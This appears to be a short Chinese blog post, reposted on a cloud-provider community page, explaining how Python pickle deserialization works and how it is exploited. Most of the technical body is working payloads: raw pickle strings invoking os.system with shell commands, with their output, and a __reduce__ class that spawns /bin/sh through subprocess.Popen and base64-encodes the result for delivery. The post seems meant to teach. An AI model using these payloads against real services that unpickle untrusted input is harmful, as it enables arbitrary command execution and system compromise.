python pickle 工作原理

來源:互聯網
上載者:User

標籤:python pickle 工作原理

pickle

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

https://blog.nelhage.com/2011/03/exploiting-pickle/

https://lincolnloop.com/blog/playing-pickle-security/

>>> import pickletools
>>> print pickletools.dis("cos\nsystem\n(S‘ls ~‘\ntR.")
    0: c    GLOBAL     ‘os system‘
   11: (    MARK
   12: S        STRING     ‘ls ~‘
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP
highest protocol among opcodes = 0
None

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S‘uname -a‘\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0

構造簡單的執行語句,當然也可以通過類的__reduce__方法,也就是說在執行pickle還原序列化的時候會用到__reduce__方法

import cPickleimport subprocessimport base64class RunBinSh(object):  def __reduce__(self):    return (subprocess.Popen, ((‘/bin/sh‘,),))print base64.b64encode(cPickle.dumps(RunBinSh()))

>>> class RunBinSh1(object):
...     def __reduce__(self):
...             return (subprocess.Popen, ((‘uname‘,),))
...
>>> print (cPickle.dumps(RunBinSh1()))
csubprocess
Popen
p1
((S‘uname‘
tp2
tp3
Rp4
.

>>> print cPickle.loads((cPickle.dumps(RunBinSh1())))
<subprocess.Popen object at 0xb70cebac>
>>> Linux

這樣就能簡單構造loads語句了


python pickle 工作原理

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.